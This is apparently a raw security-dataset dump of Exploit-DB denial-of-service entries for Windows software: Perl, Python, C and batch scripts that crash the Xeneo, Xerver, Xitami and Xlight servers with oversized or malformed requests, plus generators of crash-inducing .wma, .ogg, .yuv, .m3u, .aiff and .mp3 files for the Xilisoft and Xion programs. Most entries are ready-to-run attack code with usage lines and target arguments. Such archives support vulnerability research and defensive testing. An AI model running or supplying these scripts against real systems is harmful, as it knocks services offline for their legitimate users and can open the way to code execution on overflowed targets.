deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17
Description: Xeneo Web Server 2.2.9.0 - Denial of Service
Type: dos
Platform: windows
Date: 2003-04-22
Author: Tom Ferris

Exploit:
#!/usr/bin/perl
# Xeneo Web Server DoS
#
# Vulnerable systems:
# Xeneo. Web Server 2.2.9.0
#
# Written by badpack3t <badpack3t@security-protocols.com>
# For SP Research Labs
# 04/21/2003
#
# www.security-protocols.com
#
# usage:
# perl sp-xeneo.pl <target> <port>
#


use IO::Socket;
use strict;

print ".:."x 20; print "\nXeneo Web Server 2.2.9.0 DoS, <badpack3t\@security-protocols.com>\n";
print ".:."x 20; print "\n\n";

if( !defined( $ARGV[ 0 ] && $ARGV[ 1 ]))
{
&usage;
}

my $host = $ARGV[ 0 ];
my $def = "?";
my $num = "4096";
my $port = $ARGV[ 1 ];
my $urfuqed = $def x $num;

my $tcpval = getprotobyname( 'tcp' );
my $serverIP = inet_aton( $host );
my $serverAddr = sockaddr_in( $ARGV[ 1 ], $serverIP );
my $protocol_name = "tcp";

my $iaddr = inet_aton( $host ) || die ( "host was not found: $host" );
my $paddr = sockaddr_in( $port, $iaddr ) || die ( "you did something wrong stupid... exiting..." );
my $proto = getprotobyname( 'tcp' ) || die ( "cannot get protocol" );
socket( SOCK, PF_INET, SOCK_STREAM, $proto ) || die ( "socket could not open: $host" );
connect( SOCK, $paddr ) || die ( "cannot connect to: $host" );

my $submit = "GET /$urfuqed HTTP/1.0\r\n\r\n";
send( SOCK,$submit,0 );
close( SOCK );

sub usage
{
die( "\n\nUsage: perl $0 <target_host> <port>\n\n" );
}

print "\n.:.:.:.:.:.:.:.:.:.:.:.";
print "\ncrash was successful ~!\n";
print "\.:.:.:.:.:.:.:.:.:.:.:.\n";

# milw0rm.com [2003-04-22]
Exploit-DB #21336
Description: Xerver 2.10 - Multiple Request Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2002-03-08
Author: Alex Hernandez

Exploit:
source: https://www.securityfocus.com/bid/4254/info

Xerver is a freely available webserver, written in Java. It will run on any operating system with Java installed, including Microsoft Windows, Unix/Linux variants, MacOS, etc.

It has been reported that sending an excessive number of requests for 'C:\' to port 32123 will cause the webserver to crash, denying service to legitimate users. This appears to be the case even on non-Windows based operating systems running the vulnerable software.

The webserver will need to be restarted to regain normal functionality.

This issue was reported for v2.10 of Xerver. Earlier versions may also be affected.


printf "GET /`perl -e 'print "C:/"x500000'`\r\n\r\n" |nc -vvn 127.0.0.1 32123
Exploit-DB #9717
Description: Xerver HTTP Server 4.32 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-09-18
Author: Dr_IDE

Exploit:
#################################################################################
#                                                                   	     	#
# Xerver HTTP Server <= v4.32 Remote Denial of Service	 		        #
# Found By:	Dr_IDE				                                #
# Download:	http://www.javascript.nu/xerver                          	#
# Tested On:	Windows XPSP3                                            	#
#                                                                        	#
#################################################################################

- Description -

Xerver v4.32 is a Windows based HTTP server. This is the latest version of
the application available.

Xerver v4.32 is vulnerable to a remote denial of service through following means.

Xerver ships with a web based configuration program, essentially making this DoS
remote if and when the Remote Setup is running.

The admin package runs on port 32123 and does not require any form of 
authentication to make changes to the server configuration.

- Bug -

If the HTTP Server port is set to any kind of letter combination, the server will
crash and be unable to be restarted unless the configuration file is manually
edited to remove the letters and put back to a number (ie. 80).

- Example -

1. http://172.16.2.101:32123/?action=wizardStep1
2. Enter anything in the port field, "Dr_IDE"
3. Click Save and Continue

- Results - 

The server will crash hard, and you will be unable to restart it. You must edit the 
configuration file, Xerver2.cfg and replace the first line of the file with a Port
number.

- Note - 

I tried to make this a possible XSS attack but I couldn't manage. Perhaps someone 
else can figure it out.

Methods and variables of interest for this attack:

SubmitForm()
document.myForm.portNR.value="80" # default, any letters here would kill the server

# milw0rm.com [2009-09-18]
Exploit-DB #11959
Description: Xilisoft BlackBerry Ring Tone Maker - '.wma' Local Crash
Type: dos
Platform: windows
Date: 2010-03-30
Author: anonymous

Exploit:
#!/usr/bin/perl
# Exploit Title: Xilisoft Blackberry Ring Tone Maker .wma Local Crash 
# Date: March 29, 2010
# Software Link: [http://www.xilisoft.com/blackberry-ringtone-maker.html]
# Version: 1.0.12 build-0326
# Tested on: Windows XP SP3 / Windows 7
# Cost: 9.95 USD
# Author: [anonymous]
# Site: http://www.setfreesecurity.com
#
# Xilisoft Blackberry Ring Tone Maker software crashes when you open a legit .wma file that 
# is beyond the maximum length for a path. [MAX_PATH, which is defined as 260 characters] 
# Reference: [http://msdn.microsoft.com/en-us/library/aa365247%28VS.85%29.aspx#maxpath]
#
# To exploit: Run the code to change a legit .wma file and then make sure that the file 
# is placed on the Windows OS deep enough to open pass the 260 "MAX PATH
#
#Ex: C:\Documents and Settings\victim\Desktop\name_of_file.wma
#
# Pull your sickness from my throat, Let me breath the truth
# Greetz: GOD, The wife for support, 4lex, & C.I.A
#

print "Name That Song! ";

chomp ($song = <STDIN>);
$junk = "\x41" x 214;

rename ("$song.wma", "$junk.wma");
print "Bury deep! \n";
exit;
Exploit-DB #34480
Description: Xilisoft Video Converter 3.1.8.0720b - '.ogg' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-08-16
Author: Praveen Darshanam

Exploit:
source: https://www.securityfocus.com/bid/42473/info

Xilisoft Video Converter is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Xilisoft Video Converter 3.1.8.0720b is vulnerable; other versions may also be affected. 

################PoC Start##############################################
print "\nXilisoft Video Converter Wizard 3 ogg file processing DoS"

#Download from
# http://www.downloadatoz.com/xilisoft-video-converter/order.php?download=xilisoft-video-converter&url=downloadatoz.com/xilisoft-video-converter/wizard.html/__xilisoft-video-converter__d1
#http://www.downloadatoz.com/xilisoft-video-converter/wizard.html

buff = "D" * 8400

try:
    oggfile = open("XilVC_ogg_crash.ogg","w")
    oggfile.write(buff)
    oggfile.close()
    print "[+]Successfully created ogg file\n"
    print "[+]Coded by Praveen Darshanam\n"
except:
    print "[+]Cannot create File\n"

################PoC End################################################
Exploit-DB #33775
Description: Xilisoft Video Converter Wizard - '.yuv' Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2010-03-19
Author: ITSecTeam

Exploit:
source: https://www.securityfocus.com/bid/38854/info

Xilisoft Video Converter is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

#! /usr/bin/python
#
# Xilisoft Video Converter(.yuv file) Stack buffer Overflow Poc
# Homepage: www.xilisoft.com
# #############################################################################
# Credit : ItSecTeam
# mail : Bug@ItSecTeam.com
# Web:  WwW.ITSecTeam.com
# Forum: WwW.forum.itsecteam.com
# Exploit Coded by: hoshang jafari a.k.a (PLATEN) @ ItSecTeam
# Special Tanks : M3hr@n.S - B3hz4d - Cdef3nder
# #############################################################################
# Bug: Integer Division By Zero
# Tested in : Windows XP SP3 EN
# Tested version : 3   = Crash
# Usage: ./Xilisoft-poc.py
# #############################################################################
# 102DFDAB: Integer divide by zero (exc.code c0000094, tid 2908)
# EAX 00000000  ECX 00000000 EBX 00000001 ESP 000E629C EBP 025B3270
# ESI 00000000 EDI 00000000 EIP 102DFDAB avcodec.102DFDAB
 
try:
        file=open("Xilisoft-poc.yuv",'w')
        Buff = "\x41" *500000
        file.write( Buff )
        file.close()
        print   ("[+] File created successfully: Xilisoft-poc.yuv" )
except:
        print "[-] Error cant write file to system\n"
Exploit-DB #14517
Description: Xion Audio Player 1.0.125 - Denial of Service
Type: dos
Platform: windows
Date: 2010-07-31
Author: s-dz

Exploit:
#!/usr/bin/perl
# Xion Audio Player version: 1.0.125
# Author: hadji samir        , s-dz@hotmail.fr
# Download : http://xion.r2.com.au/index.php?page=download
# Tested : Windows XP SP2 (fr)
# DATE   : 2010-07-31
#
#  thanks mo3taz  wnass cfa nta3 blida
#
#  et samir tjrs mahboul-3lik
#
################################################################### 

my $file= "mahboul-3lik00.m3u";

my $junk= "\x41" x  50000;
 
open($FILE, ">$file");
print($FILE $junk);
close($FILE);
print("exploit created successfully");
Exploit-DB #15598
Description: Xion Audio Player 1.0.126 - '.m3u8' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-11-23
Author: anT!-Tr0J4n

Exploit:
===================================================
Xion Audio Player 1.0.126 (.m3u8) Buffer Overflow Vulnerability
===================================================

.....................X-SHADOW ; ThBa7 ; KloofQ8 ; LeGEnD ; abada ...
.......................................Fuck ALL lamers top-team................... 

#!/usr/bin/perl
#Title: Xion Audio Player 1.0.126 (.m3u8) Buffer Overflow Vulnerability

#Author    :   anT!-Tr0J4n

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Greetz    :   Dev-PoinT.com ; GlaDiatOr,SILVER STAR , HoBeeZ, Coffin Of Evil

#special thanks    :   r0073r,Sid3^effects,L0rd CruSad3r,SeeMe,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr,indoushka, KnocKout,SONiC,ZoRLu
 
#Home     :   www.Dev-PoinT.com  $ http://1337db.com/

#Software :  http://xion.r2.com.au

#Tested on:   Windows XP sp3

#
###################################################################
 
my $file= "inj3ct0r team.m3u8";
 
my $junk= "\x41" x  3569;
  
open($FILE, ">$file");
print($FILE $junk);
close($FILE);
print("File created succesufully , open  it with Xion Audio Player and press the Play button");
Exploit-DB #18698
Description: Xion Audio Player 1.0.127 - '.aiff' Denial of Service
Type: dos
Platform: windows
Date: 2012-04-04
Author: condis

Exploit:
#!/usr/bin/python

# -------------------------------------------------------------------
# Xion Audio Player 1.0.127 (.aiff) Denial of Service Vulnerability
# found by condis
#
# Download  : http://xion.r2.com.au/index.php?page=download
# Tested on : Windows XP SP3 Professional PL
#
# Registers : 
#
# EAX 00000000
# ECX 02D0B488
# EDX 7C90E4F4 ntdll.KiFastSystemCallRet
# EBX 02D0B4F8
# ESP 02D0B4F8
# EBP 02D0CA60
# ESI 003D8D80
# EDI 00001A00
# EIP 11013C18 BASS.11013C18
#
# 11013C18   C740 20 01000000 MOV DWORD PTR DS:[EAX+20],1 <--- crash
#
# "Access Violation while writing to 00000020"
#
# I've also found this kind of bug while playing around with .flac 
# files so I think that handling all of the supported formats must be 
# really messed up :<
# --------------------------------------------------------------------

evil  = "FORM\x00\x00\x37\xA4AIFFCOMM"
evil += "A" # <--- crash (rest of the file doesn't matters)

aiff = open('xion-crash.aiff', 'w')
aiff.write(evil)
aiff.close()

print "Malicious .aiff file has been created. Enjoy"
Exploit-DB #39654
Description: Xion Audio Player 1.5 (build 160) - '.mp3' Crash (PoC)
Type: dos
Platform: windows
Date: 2016-04-04
Author: Charley Celice

Exploit:
# Exploit Title: Xion Audio Player <= 1.5 (build 160) - Crash PoC
# Date: 01-04-2016
# Software Link: http://www.r2.com.au/downloads/files/xion-audio-player-v1.5b160.zip
# Homepage: http://www.xionplayer.com/
# Exploit Author: Charley Celice (stmerry)
# Contact: https://twitter.com/charleycelice
#
# Category: Crash PoC
# Tested on: Windows XP SP3 English
# Details: Overflowing title/artist tags on an *.mp3 seems to crash the software.
# (works on both standalone/portable versions)

use MP3::Tag;

$mp3 = MP3::Tag->new('legit.mp3'); # whatever mp3 you got handy

$mp3->title_set('A' x 5000); # title/artist tags
$mp3->artist_set('A' x 5000); # may vary although both seems to be needed

$mp3->update_tags();  
$mp3->close();

print "[*] Completed.\n";
Exploit-DB #37986
Description: Xion Audio Player 1.5 build 155 - Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2015-08-27
Author: Un_N0n

Exploit:
********************************************************************************************
# Exploit Title: Xion Audio Player build 155 Stack Based BOF.
# Date: 8/19/2015
# Exploit Author: Un_N0n
# Software Vendor : http://www.xionplayer.com
# Software Link: http://www.xionplayer.com/page/download
# Version: 1.5 (Build 155)
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- open 'Xion.exe'.
2- Drag the malformed MP3 file into Xion Audio Player.
~ Software will Crash.

[Creating Malformed MP3 File?]: 
>Replace the details of the legit MP3 file with large number of "A"s or any other random value.


**********************************************************************************************
Exploit-DB #33968
Description: Xitami 5.0 - '/AUX' Request Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-05-10
Author: Usman Saeed

Exploit:
source: https://www.securityfocus.com/bid/40027/info

Xitami is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Xitami 5.0a0 is vulnerable. 

#!/usr/bin/perl
# Xitami/5.0a0 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [10/05/10]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = "AUX"; 


$stuff = "GET /".$packet." HTTP/1.0\r\n\r\n";



use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "+========================================================+\n";
print "+ Program [Xitami/5.0a0 Denial Of Service]               +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [10/05/10]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";





exit;
}


$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr  => $host , PeerPort  => $PORT) || die "Cant connect to $host!";
print "+========================================================+\n";
print "+ Program [Xitami/5.0a0 Denial Of Service]               +\n";
print "+ Author [Usman Saeed]                                   +\n";
print "+ Company [Xc0re Security Research Group]                +\n";
print "+ DATE: [10/05/10]                                       +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport           +\n";
print "+ Disclaimer: [This code is for Educational Purposes ,   +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "+========================================================+\n";




print "\n";

print "[*] Initializing\n";

sleep(2);

print "[*] Sendin DOS Packet \n";

send ($sock , $stuff , 0);
print "[*] Crashed :) \n";
$res = recv($sock,$response,1024,0);
print $response;



exit;
Exploit-DB #362
Description: Xitami Web Server - Denial of Service
Type: dos
Platform: windows
Date: 2004-07-22
Author: CoolICE

Exploit:
if '%1'=='' echo Usage:%0 target [port]&&goto :eof
set PORT=80
if not '%2'=='' set PORT=%2
for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need nc.exe&&goto :eof
echo GET / HTTP/1.0>http.tmp
echo HOST: %1>>http.tmp
echo DOS>>http.tmp
echo.>>http.tmp
nc -w 10 %1 %PORT% < http.tmp
del http.tmp

# milw0rm.com [2004-07-22]
Exploit-DB #5354
Description: Xitami Web Server 2.5c2 - LRWP Processing Format String (PoC)
Type: dos
Platform: windows
Date: 2008-04-03
Author: bratax

Exploit:
/**
 *
 * PoC exploit for Xitami Web Server v2.5c2 LRWP processing format string bug
 * Advisory is available at: http://www.bratax.be/advisories/b013.html
 * (multiple vulnerabilities! check it out!)
 *
 * @author: bratax
 * @url: http://www.bratax.be/
 * @email: bratax@gmail.com
 *
 * Thanks to BuzzDee for learning me how to use reverse code engineering to
 * find bugs & thanks to DiabloHorn as well ;-)
 * Greetz to NR!
 *
**/

#include <stdio.h>
#include <string.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")
#define PORT 81 // target port

int main(int argc, char *argv[]){

  int sockfd;
  struct hostent *he;
  struct sockaddr_in their_addr;
  WSADATA wsaData;
  char formatstring[250];

  if (argc != 2){
    printf("\nXitami Web Server 2.5c2\n" );
    printf("Format String PoC by bratax - http://www.bratax.be/\n\n");
    printf("[+] tested on WinXP Pro SP2 & Vista\n");
    printf("[+] usage: %s <hostname>\n\n", argv[0]);
    return -1;
  }

    if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) {
    fprintf(stderr, "WSAStartup failed.\n");
    return -1;
  }

  if ((he=gethostbyname(argv[1])) == NULL){  // get the host info
    perror("gethoscattbyname");
    return -1;
  }

  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
    perror("socket");
    return -1;
  }

  their_addr.sin_family = AF_INET;  // host byte order
  their_addr.sin_port = htons(PORT);  // short, network byte order
  their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct

  if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1){
    printf("[-] Connect failed.\n");
    closesocket(sockfd);
    return -1;
  }

  printf("[+] Server is listening...\n");

  Sleep(1000);

  /*
    setup format string request:
              %s*100 + \xFF + somestring + \xFF     (program termination)
    or:
              %n + \xFF + somestring + \xFF         (program crash)
  */

  memset(formatstring,'\x41', sizeof(formatstring));
  for (int i = 0; i<200; i+=2){
    memcpy(formatstring+i, "%s", 2);
  }
  memcpy(formatstring+200, "\xFF", 1);
  memcpy(formatstring+249, "\xFF", 1);

  printf("[+] Sending format string request...");
  Sleep(2000);

  if (send(sockfd,formatstring,sizeof(formatstring),0) == -1) {
    Sleep(2000);
    printf("failed! Exiting...\n");
    closesocket(sockfd);
    WSACleanup();
    return -1;
  }

  Sleep(2000);
  closesocket(sockfd);
  printf("done.\n");


  return 0;
}

// milw0rm.com [2008-04-03]
Exploit-DB #8511
Description: Xitami Web Server 5.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-04-22
Author: Jonathan Salwan

Exploit:
#!/usr/bin/perl
#
# Xitami HTTP Server <= v5.0 Remote Denial of Service.
#
# ------------------------------------------------------------------------------
# The vulnerability is caused due to an error with HEAD request and multi-socket
# This can be exploited to crash the HTTP service.
# ------------------------------------------------------------------------------
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[+] Author : Jonathan Salwan\n";
print "[+] Soft   : Xitami HTTP Server v5.0\n";

	if (@ARGV < 1)
		{
 		print "[-] Usage: <file.pl> <host> <port>\n";
 		print "[-] Exemple: file.pl 127.0.0.1 80\n";
 		exit;
		}


	$ip 	= $ARGV[0];
	$port 	= $ARGV[1];

print "[+] Sending request...\n";


for($i=0;$i<20;$i++)
{
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Failed\n";

	print $socket "HEAD /% HTTP/1.0\r\n\r\n";
}

print "[+] Done!\n";

# milw0rm.com [2009-04-22]
Exploit-DB #50516
Description: Xlight FTP 3.9.3.1 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2021-11-12
Author: Yehia Elghaly

Exploit:
# Exploit Title: Xlight FTP 3.9.3.1 - 'Buffer Overflow' (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-12
# Vendor Homepage: https://www.xlightftpd.com/
# Software Link: https://www.xlightftpd.com/download/setup.exe
# Tested Version: 3.9.3.1
# Vulnerability Type: Buffer Overflow Local
# Tested on OS: Windows XP SP3 -  Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: Xlight FTP 3.9.3.1 'Access Control List' Buffer Overflow (PoC)

# Steps to reproduce:
# 1. - Download and Xlight FTP
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open Xlight FTP 3.9.3.1
# 4. - "File and Directory - Access Control List - Setup - Added users list directories
# 5. - Go to Specify file or directory name applied or Specify username applied to or Specify groupname applied
# 6. - Go to Setup -> added -> Enter new Item -  Paste the characters 
# 7  - Crashed

#!/usr/bin/python

exploit = 'A' * 550

try: 
    file = open("exploit.txt","w")
    file.write(exploit)
    file.close()

    print("POC is created")
except:
    print("POC not created")
Exploit-DB #23468
Description: Xlight FTP Server 1.25/1.41 - 'PASS' Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2003-12-23
Author: storm

Exploit:
source: https://www.securityfocus.com/bid/9285/info

It has been reported that Xlight FTP Server is prone to a remote buffer overflow condition that may allow an attacker to gain unauthorized access to a system running the vulnerable software. The issue presents itself when an attacker sends a specially crafted PASS command request containing an excessively long string value to the vulnerable server.

Xlight FTP Server versions 1.41 and prior have been reported to be prone to this issue. 

#!/usr/bin/perl
 
# Exploit for Xlight FTP server long PASS vulnerability
 
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
                                 PeerAddr => $host,
                                 PeerPort => "ftp(21)",
                                 );
unless ($remote) { die "cannot connect to ftp daemon on $host" }

$remote->autoflush(1);

print $remote "USER anonymous\r\n";
sleep(1);

$buf = "A"x54; # Min 54, Max 523
print $remote "PASS ".$buf."\r\n";
sleep(1);

close $remote;